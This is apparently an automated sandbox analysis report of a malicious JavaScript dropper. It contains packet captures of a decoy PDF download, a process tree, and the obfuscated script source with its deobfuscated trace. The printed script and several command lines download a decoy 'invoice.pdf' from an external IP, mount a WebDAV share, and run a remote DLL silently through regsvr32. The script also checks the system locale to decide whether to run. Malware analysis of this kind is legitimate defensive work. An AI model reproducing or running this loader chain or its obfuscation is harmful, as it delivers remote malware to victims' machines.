Jan 11, 2025 04:08:56.884063959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:08:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:08:56.884090900 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:08:56.884140968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 04:08:56.884161949 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 04:08:56.884177923 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 04:08:56.884324074 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 04:08:56.884340048 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 04:08:56.884354115 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 04:08:56.884370089 CET	776	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 04:08:56.884385109 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 04:08:56.888989925 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	4092	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:08:58.523328066 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:08:59.309777975 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:08:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:08:52
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js"
Imagebase:	0x7ff71ef10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:08:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll
Imagebase:	0x7ff671dd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:08:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:08:53
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:08:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:08:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff671dd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:08:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68b660000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:08:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:08:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:08:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1600,i,1825472500160440610,8265864337311220648,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jqffgulm() {	jqffgulm() ➔ undefined
1	ksrzgx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var imetoh = this[qwhmkx + gpvmjqh + egzjghrms + qqtargzcj + jxxcc + jgpstbp + hxqgyqnmq + whfov] ( this[tbtemos + fexmg + mrihgjhd + egzjghrms + djchcro + qwhmkx + whfov][kwkfyp + egzjghrms + jxxcc + gpvmjqh + whfov + jxxcc + wqqtxx + zzvms + vramqlkmd + jxxcc + mrihgjhd + whfov] ( tbtemos + fexmg + mrihgjhd + egzjghrms + djchcro + qwhmkx + whfov + jaflihxcv + fexmg + shujg + jxxcc + ofoigpaxf + ofoigpaxf ) [piwaqlu + jxxcc + trfhrokvl + piwaqlu + jxxcc + gpvmjqh + efvqopof] ( kdjtnjah + dljwkl + mdzuky + qigyvnud + itnzspl + kwkfyp + iteauiyyd + piwaqlu + piwaqlu + mdzuky + iuvrsqyu + lcqvzk + itnzspl + iteauiyyd + fexmg + mdzuky + piwaqlu + bzneykt + kwkfyp + bhygzdam + hxqgyqnmq + whfov + egzjghrms + bhygzdam + ofoigpaxf + gxcis + btjfr + gpvmjqh + hxqgyqnmq + jxxcc + ofoigpaxf + bzneykt + jgpstbp + hxqgyqnmq + whfov + jxxcc + egzjghrms + hxqgyqnmq + gpvmjqh + whfov + djchcro + bhygzdam + hxqgyqnmq + gpvmjqh + ofoigpaxf + bzneykt + yiuqxwvmd + bhygzdam + mrihgjhd + gpvmjqh + ofoigpaxf + jxxcc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oocsuaj = 0 ; oocsuaj < ksrzgx[ofoigpaxf + jxxcc + hxqgyqnmq + trfhrokvl + whfov + shujg] ; ++ oocsuaj )
4	{
5	if ( imetoh == ksrzgx[oocsuaj] )
6	{
7	imetoh = true;
8	break ;
9	}
10	}
11	if ( imetoh !== true )
12	this[tbtemos + fexmg + mrihgjhd + egzjghrms + djchcro + qwhmkx + whfov][sabtiww + toyarzrlj + djchcro + whfov] ( );
13	this[tbtemos + fexmg + mrihgjhd + egzjghrms + djchcro + qwhmkx + whfov][kwkfyp + egzjghrms + jxxcc + gpvmjqh + whfov + jxxcc + wqqtxx + zzvms + vramqlkmd + jxxcc + mrihgjhd + whfov] ( tbtemos + fexmg + mrihgjhd + egzjghrms + djchcro + qwhmkx + whfov + jaflihxcv + fexmg + shujg + jxxcc + ofoigpaxf + ofoigpaxf ) [egzjghrms + toyarzrlj + hxqgyqnmq] ( mrihgjhd + etiodtzzt + efvqopof + gxcis + xqctbo + mrihgjhd + gxcis + qwhmkx + bhygzdam + yfmdjzrkp + jxxcc + egzjghrms + qqtargzcj + shujg + jxxcc + ofoigpaxf + ofoigpaxf + jaflihxcv + jxxcc + zjwsksox + jxxcc + gxcis + zarukyo + kwkfyp + bhygzdam + etiodtzzt + etiodtzzt + gpvmjqh + hxqgyqnmq + efvqopof + gxcis + unubma + jgpstbp + hxqgyqnmq + luaoanp + bhygzdam + ussayf + jxxcc + zarukyo + tbtemos + jxxcc + zzvms + piwaqlu + jxxcc + vmbfrgiyu + toyarzrlj + jxxcc + qqtargzcj + whfov + gxcis + zarukyo + wqqtxx + toyarzrlj + whfov + hbkloqgs + djchcro + ofoigpaxf + jxxcc + gxcis + hwojqgo + whfov + jxxcc + etiodtzzt + qwhmkx + hwojqgo + bzneykt + djchcro + hxqgyqnmq + luaoanp + bhygzdam + djchcro + mrihgjhd + jxxcc + jaflihxcv + qwhmkx + efvqopof + alihr + gxcis + shujg + whfov + whfov + qwhmkx + elametgkd + xqctbo + xqctbo + oteqflgzd + akxbye + fqvntrmf + jaflihxcv + oteqflgzd + awawhkws + fqvntrmf + jaflihxcv + oteqflgzd + jaflihxcv + hskegxq + jhfsbxcwj + jqqfvrel + xqctbo + djchcro + hxqgyqnmq + luaoanp + bhygzdam + djchcro + mrihgjhd + jxxcc + jaflihxcv + qwhmkx + shujg + qwhmkx + unubma + wzplcrvr + wzplcrvr + qqtargzcj + whfov + gpvmjqh + egzjghrms + whfov + gxcis + hwojqgo + whfov + jxxcc + etiodtzzt + qwhmkx + hwojqgo + bzneykt + djchcro + hxqgyqnmq + luaoanp + bhygzdam + djchcro + mrihgjhd + jxxcc + jaflihxcv + qwhmkx + efvqopof + alihr + wzplcrvr + wzplcrvr + mrihgjhd + etiodtzzt + efvqopof + gxcis + xqctbo + mrihgjhd + gxcis + hxqgyqnmq + jxxcc + whfov + gxcis + toyarzrlj + qqtargzcj + jxxcc + gxcis + bzneykt + bzneykt + oteqflgzd + akxbye + fqvntrmf + jaflihxcv + oteqflgzd + awawhkws + fqvntrmf + jaflihxcv + oteqflgzd + jaflihxcv + hskegxq + jhfsbxcwj + jqqfvrel + fucsdw + aehnrurs + aehnrurs + aehnrurs + aehnrurs + bzneykt + efvqopof + gpvmjqh + luaoanp + yfmdjzrkp + yfmdjzrkp + yfmdjzrkp + egzjghrms + bhygzdam + bhygzdam + whfov + bzneykt + wzplcrvr + wzplcrvr + mrihgjhd + etiodtzzt + efvqopof + gxcis + xqctbo + mrihgjhd + gxcis + egzjghrms + jxxcc + trfhrokvl + qqtargzcj + luaoanp + egzjghrms + fqvntrmf + hskegxq + gxcis + xqctbo + qqtargzcj + gxcis + bzneykt + bzneykt + oteqflgzd + akxbye + fqvntrmf + jaflihxcv + oteqflgzd + awawhkws + fqvntrmf + jaflihxcv + oteqflgzd + jaflihxcv + hskegxq + jhfsbxcwj + jqqfvrel + fucsdw + aehnrurs + aehnrurs + aehnrurs + aehnrurs + bzneykt + efvqopof + gpvmjqh + luaoanp + yfmdjzrkp + yfmdjzrkp + yfmdjzrkp + egzjghrms + bhygzdam + bhygzdam + whfov + bzneykt + hskegxq + meznwki + jhfsbxcwj + blspkz + blspkz + hskegxq + awawhkws + fqvntrmf + oteqflgzd + akxbye + jhfsbxcwj + jhfsbxcwj + jqqfvrel + jaflihxcv + efvqopof + ofoigpaxf + ofoigpaxf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll",0,false) ➔ 0
14	}
15	hbkloqgs = "f";
16	hbkloqgs = "Q";
17	hbkloqgs = "s";
18	hbkloqgs = "d";
19	hbkloqgs = "c";
20	hbkloqgs = "p";
21	hbkloqgs = "M";
22	hbkloqgs = "G";
23	hbkloqgs = "w";
24	hbkloqgs = "A";
25	hbkloqgs = "y";
26	hbkloqgs = "J";
27	hbkloqgs = "k";
28	hbkloqgs = "Z";
29	hbkloqgs = "Q";
30	hbkloqgs = "I";
31	hbkloqgs = "k";
32	hbkloqgs = "p";
33	hbkloqgs = "v";
34	hbkloqgs = "o";
35	hbkloqgs = "w";
36	hbkloqgs = "F";
37	yiuqxwvmd = "u";
38	yiuqxwvmd = "v";
39	yiuqxwvmd = "Z";
40	yiuqxwvmd = "S";
41	yiuqxwvmd = "d";
42	yiuqxwvmd = "z";
43	yiuqxwvmd = "v";
44	yiuqxwvmd = "x";
45	yiuqxwvmd = "t";
46	yiuqxwvmd = "l";
47	yiuqxwvmd = "A";
48	yiuqxwvmd = "m";
49	yiuqxwvmd = "T";
50	yiuqxwvmd = "u";
51	yiuqxwvmd = "n";
52	yiuqxwvmd = "C";
53	yiuqxwvmd = "q";
54	yiuqxwvmd = "Y";
55	yiuqxwvmd = "N";
56	yiuqxwvmd = "g";
57	yiuqxwvmd = "P";
58	yiuqxwvmd = "j";
59	yiuqxwvmd = "B";
60	yiuqxwvmd = "g";
61	yiuqxwvmd = "z";
62	yiuqxwvmd = "T";
63	yiuqxwvmd = "L";
64	yiuqxwvmd = "c";
65	yiuqxwvmd = "c";
66	yiuqxwvmd = "T";
67	yiuqxwvmd = "i";
68	yiuqxwvmd = "z";
69	yiuqxwvmd = "B";
70	yiuqxwvmd = "n";
71	yiuqxwvmd = "Y";
72	yiuqxwvmd = "O";
73	yiuqxwvmd = "o";
74	yiuqxwvmd = "V";
75	yiuqxwvmd = "L";
76	qigyvnud = "U";
77	qigyvnud = "d";
78	qigyvnud = "F";
79	qigyvnud = "X";
80	qigyvnud = "W";
81	qigyvnud = "O";
82	qigyvnud = "q";
83	qigyvnud = "G";
84	qigyvnud = "p";
85	qigyvnud = "U";
86	qigyvnud = "b";
87	qigyvnud = "Y";
88	fexmg = "K";
89	fexmg = "B";
90	fexmg = "v";
91	fexmg = "g";
92	fexmg = "m";
93	fexmg = "o";
94	fexmg = "S";
95	alihr = "t";
96	alihr = "w";
97	alihr = "M";
98	alihr = "e";
99	alihr = "E";
100	alihr = "J";
101	alihr = "l";
102	alihr = "P";
103	alihr = "c";
104	alihr = "a";
105	alihr = "v";
106	alihr = "V";
107	alihr = "J";
108	alihr = "V";
109	alihr = "d";
110	alihr = "w";
111	alihr = "q";
112	alihr = "N";
113	alihr = "Q";
114	alihr = "I";
115	alihr = "Z";
116	alihr = "h";
117	alihr = "A";
118	alihr = "Y";
119	alihr = "J";
120	alihr = "y";
121	alihr = "x";
122	alihr = "H";
123	alihr = "H";
124	alihr = "R";
125	alihr = "v";
126	alihr = "f";
127	elametgkd = "J";
128	elametgkd = "y";
129	elametgkd = "q";
130	elametgkd = "f";
131	elametgkd = ":";
132	gpvmjqh = "F";
133	gpvmjqh = "q";
134	gpvmjqh = "O";
135	gpvmjqh = "P";
136	gpvmjqh = "S";
137	gpvmjqh = "G";
138	gpvmjqh = "y";
139	gpvmjqh = "L";
140	gpvmjqh = "a";
141	gpvmjqh = "Y";
142	gpvmjqh = "L";
143	gpvmjqh = "J";
144	gpvmjqh = "s";
145	gpvmjqh = "Y";
146	gpvmjqh = "c";
147	gpvmjqh = "p";
148	gpvmjqh = "U";
149	gpvmjqh = "h";
150	gpvmjqh = "Q";
151	gpvmjqh = "b";
152	gpvmjqh = "m";
153	gpvmjqh = "B";
154	gpvmjqh = "I";
155	gpvmjqh = "o";
156	gpvmjqh = "H";
157	gpvmjqh = "Z";
158	gpvmjqh = "Q";
159	gpvmjqh = "t";
160	gpvmjqh = "q";
161	gpvmjqh = "l";
162	gpvmjqh = "q";
163	gpvmjqh = "r";
164	gpvmjqh = "I";
165	gpvmjqh = "U";
166	gpvmjqh = "X";
167	gpvmjqh = "J";
168	gpvmjqh = "n";
169	gpvmjqh = "h";
170	gpvmjqh = "O";
171	gpvmjqh = "Y";
172	gpvmjqh = "p";
173	gpvmjqh = "a";
174	aehnrurs = "K";
175	aehnrurs = "Z";
176	aehnrurs = "I";
177	aehnrurs = "s";
178	aehnrurs = "u";
179	aehnrurs = "r";
180	aehnrurs = "p";
181	aehnrurs = "H";
182	aehnrurs = "r";
183	aehnrurs = "j";
184	aehnrurs = "X";
185	aehnrurs = "P";
186	aehnrurs = "q";
187	aehnrurs = "H";
188	aehnrurs = "P";
189	aehnrurs = "w";
190	aehnrurs = "L";
191	aehnrurs = "l";
192	aehnrurs = "s";
193	aehnrurs = "s";
194	aehnrurs = "E";
195	aehnrurs = "n";
196	aehnrurs = "g";
197	aehnrurs = "e";
198	aehnrurs = "y";
199	aehnrurs = "I";
200	aehnrurs = "q";
201	aehnrurs = "O";
202	aehnrurs = "8";
203	efvqopof = "o";
204	efvqopof = "w";
205	efvqopof = "D";
206	efvqopof = "y";
207	efvqopof = "I";
208	efvqopof = "o";
209	efvqopof = "d";
210	bhygzdam = "r";
211	bhygzdam = "w";
212	bhygzdam = "T";
213	bhygzdam = "j";
214	bhygzdam = "D";
215	bhygzdam = "W";
216	bhygzdam = "l";
217	bhygzdam = "A";
218	bhygzdam = "v";
219	bhygzdam = "o";
220	bhygzdam = "w";
221	bhygzdam = "o";
222	jgpstbp = "w";
223	jgpstbp = "D";
224	jgpstbp = "k";
225	jgpstbp = "N";
226	jgpstbp = "q";
227	jgpstbp = "N";
228	jgpstbp = "G";
229	jgpstbp = "N";
230	jgpstbp = "x";
231	jgpstbp = "a";
232	jgpstbp = "P";
233	jgpstbp = "b";
234	jgpstbp = "g";
235	jgpstbp = "Y";
236	jgpstbp = "k";
237	jgpstbp = "a";
238	jgpstbp = "R";
239	jgpstbp = "s";
240	jgpstbp = "w";
241	jgpstbp = "f";
242	jgpstbp = "g";
243	jgpstbp = "A";
244	jgpstbp = "f";
245	jgpstbp = "D";
246	jgpstbp = "n";
247	jgpstbp = "M";
248	jgpstbp = "x";
249	jgpstbp = "R";
250	jgpstbp = "N";
251	jgpstbp = "w";
252	jgpstbp = "k";
253	jgpstbp = "P";
254	jgpstbp = "q";
255	jgpstbp = "Y";
256	jgpstbp = "K";
257	jgpstbp = "v";
258	jgpstbp = "X";
259	jgpstbp = "E";
260	jgpstbp = "k";
261	jgpstbp = "K";
262	jgpstbp = "R";
263	jgpstbp = "Q";
264	jgpstbp = "K";
265	jgpstbp = "I";
266	luaoanp = "U";
267	luaoanp = "z";
268	luaoanp = "s";
269	luaoanp = "W";
270	luaoanp = "S";
271	luaoanp = "Z";
272	luaoanp = "D";
273	luaoanp = "o";
274	luaoanp = "U";
275	luaoanp = "C";
276	luaoanp = "B";
277	luaoanp = "c";
278	luaoanp = "D";
279	luaoanp = "m";
280	luaoanp = "K";
281	luaoanp = "I";
282	luaoanp = "Q";
283	luaoanp = "E";
284	luaoanp = "C";
285	luaoanp = "K";
286	luaoanp = "V";
287	luaoanp = "y";
288	luaoanp = "a";
289	luaoanp = "C";
290	luaoanp = "y";
291	luaoanp = "Y";
292	luaoanp = "F";
293	luaoanp = "t";
294	luaoanp = "j";
